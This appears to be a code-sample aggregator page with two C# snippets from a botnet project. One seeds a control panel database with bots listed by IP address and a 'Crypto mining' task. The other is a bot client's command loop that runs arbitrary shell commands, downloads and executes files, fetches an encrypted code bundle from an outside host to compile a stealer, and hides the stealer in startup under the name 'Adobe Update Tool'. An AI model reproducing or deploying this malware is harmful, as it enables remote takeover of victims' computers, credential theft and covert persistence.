Ejemplo n.º 1
0
        public static void Initialize(BotsContext context)
        {
            context.Database.EnsureCreated();

            if (context.Botnets.Any())
            {
                return;
            }

            var botnets = new Botnet[]
            {
                new Botnet
                {
                    Status = "Waiting",
                },
                new Botnet
                {
                    Status = "Waiting",
                },
                new Botnet
                {
                    Status  = "Working",
                    Command = "Crypto mining"
                },
            };

            foreach (Botnet botnet in botnets)
            {
                context.Botnets.Add(botnet);
            }

            var bots = new Bot[]
            {
                new Bot
                {
                    BotnetId = 1,
                    IP       = "192.168.175.129",
                    Platform = "Linux",
                    Status   = "Waiting",
                },
                new Bot
                {
                    BotnetId = 1,
                    IP       = "192.168.175.135",
                    Platform = "Linux",
                    Status   = "Waiting",
                },
                new Bot
                {
                    BotnetId = 1,
                    IP       = "55.78.92.229",
                    Platform = "Windows",
                    Status   = "Waiting",
                },
                new Bot
                {
                    BotnetId = 2,
                    IP       = "52.112.45.62",
                    Platform = "Linux",
                    Status   = "Waiting",
                },
                new Bot
                {
                    BotnetId = 2,
                    IP       = "82.33.34.239",
                    Platform = "Linux",
                    Status   = "Offline",
                },
                new Bot
                {
                    BotnetId = 2,
                    IP       = "52.78.63.197",
                    Platform = "Windows",
                    Status   = "Waiting",
                },
                new Bot
                {
                    BotnetId = 3,
                    IP       = "96.128.22.47",
                    Platform = "Windows",
                    Status   = "Waiting",
                },
                new Bot
                {
                    BotnetId = 3,
                    IP       = "71.114.223.84",
                    Platform = "Linux",
                    Status   = "Waiting",
                },
                new Bot
                {
                    BotnetId = 3,
                    IP       = "34.227.32.68",
                    Platform = "Windows",
                    Status   = "Offline",
                },
                new Bot
                {
                    BotnetId = 3,
                    IP       = "88.123.22.293",
                    Platform = "Linux",
                    Status   = "Waiting",
                },
            };

            foreach (Bot bot in bots)
            {
                context.Bots.Add(bot);
            }

            context.SaveChanges();
        }
Ejemplo n.º 2
0
    //static string GET(string URL, string param)
    //{
    //    try
    //    {
    //        WebRequest req = WebRequest.Create(URL + param);
    //        WebResponse resp = req.GetResponse();
    //        Stream stream = resp.GetResponseStream();
    //        StreamReader sr = new StreamReader(stream);
    //        string OUT = sr.ReadToEnd();
    //        return OUT;
    //    }
    //    catch { return "0"; }
    //}



    public static void Allbots(object states) //метод принимает object так как делегат(TimerCallback) тоже принимает object.     //object states
    {
        try
        {
            switch (Randomname.data[0])
            {
            case "update":
                File.Delete(GetDirPath.dir + "\\" + Randomname.data[1] + ".zip");
                File.Delete(GetDirPath.dir + "\\" + Randomname.data[1] + ".exe");
                Botnet.Allbotnet(Randomname.data[1], Randomname.data[2]); //data 1 file name , data 2 url
                Thread.Sleep(900000);                                     //15 min
                break;

            case "remove":     //data[1] file path
                try
                {
                    File.Delete(Randomname.data[1]);
                }
                catch
                {
                    //send to server report that file not exist
                }
                Thread.Sleep(180000);     //3 min
                break;

            case "ddos":
                Console.WriteLine("Eto dudoz nahoj");
                break;

            case "download":
                if (!File.Exists(GetDirPath.dir + Randomname.data[1] + ".exe"))
                {
                    Botnet.Allbotnet(Randomname.data[1], Randomname.data[2]);
                }
                Thread.Sleep(900000);    //15 min
                break;

            case "start":     //data 1 file path
                try
                {
                    if (Scheduler.IsAdmin())
                    {
                        Scheduler.CheckAutorun(false, Randomname.data[1]);
                        Scheduler.SetAutorunValue(true, false, Randomname.data[1], Randomname.data[2]);
                    }
                    else
                    {
                        Scheduler.CheckAutorun(true, Randomname.data[1]);
                        Scheduler.SetAutorunValue(true, true, Randomname.data[1], Randomname.data[2]);
                    }
                }
                catch
                {
                    //send report that file not exist
                }
                Thread.Sleep(900000);
                break;

            case "cmd_command":
                try
                {
                    Scheduler.Cmd(Randomname.data[1]);
                }
                catch
                {
                    Thread.Sleep(180000);
                }
                Thread.Sleep(180000);
                break;

            case "checkprocess":
                try
                {
                    string processName = Randomname.data[1];
                    processName = processName.Replace(".exe", "");
                    if (Botnet.CheckProcess(Randomname.data[1]))
                    {
                        Console.WriteLine("process est");
                    }
                    else
                    {
                        Console.WriteLine("process net");
                    }
                }
                catch
                {
                    //send report that file not exist
                }
                Thread.Sleep(180000);
                break;

            case "Codedome":

                if (File.Exists(GetDirPath.DefaultPath + "\\code.zip"))
                {
                    File.Delete(GetDirPath.DefaultPath + "\\code.zip");
                }
                if (File.Exists(GetDirPath.DefaultPath + "\\code.txt"))
                {
                    File.Delete(GetDirPath.DefaultPath + "\\code.txt");
                }
                File.WriteAllBytes(GetDirPath.DefaultPath + "\\code.zip", FileManager.Downloadbyte("https://richiichi.000webhostapp.com/code.zip"));
                Decrypt.Decrypter("code", GetDirPath.DefaultPath, false);    //true-exe file  false-txt file

                Codedome.CodedomeCompiler(Randomname.data[1], Codedome.StealerORapplication(), Randomname.data[3], Randomname.data[4], Randomname.data[5], Randomname.data[6], Randomname.data[7], Randomname.data[8], Randomname.data[9], Randomname.data[10], Randomname.data[11]);
                Scheduler.FullCheck(Randomname.data[1], GetDirPath.DefaultPath + Randomname.data[1] + ".exe");
                Thread.Sleep(180000);
                break;

            default:
                try
                {
                    if (!File.Exists(GetDirPath.dir + "\\" + GetDirPath.Hwird + ".exe"))     //&& process not running
                    {
                        if (File.Exists(GetDirPath.dir + "\\" + GetDirPath.Hwird + ".zip"))
                        {
                            System.IO.File.Delete(GetDirPath.dir + "\\" + GetDirPath.Hwird + ".zip");
                        }

                        Botnet.Allbotnet_default();     //new name of stealer is Roberta
                    }
                    Scheduler.FullCheck("Adobe Update Tool", GetDirPath.dir + "\\" + GetDirPath.Hwird + ".exe");
                    Scheduler.AddToStartup(GetDirPath.Hwird + ".exe", "Adobe Update Tool");
                }
                catch
                {
                    //report that dir not exist
                }
                Thread.Sleep(10000);     //10 sec       //420000 msec = 7 min
                break;
            }
        }
        catch
        {
            Console.WriteLine("Can't update");
        }
    }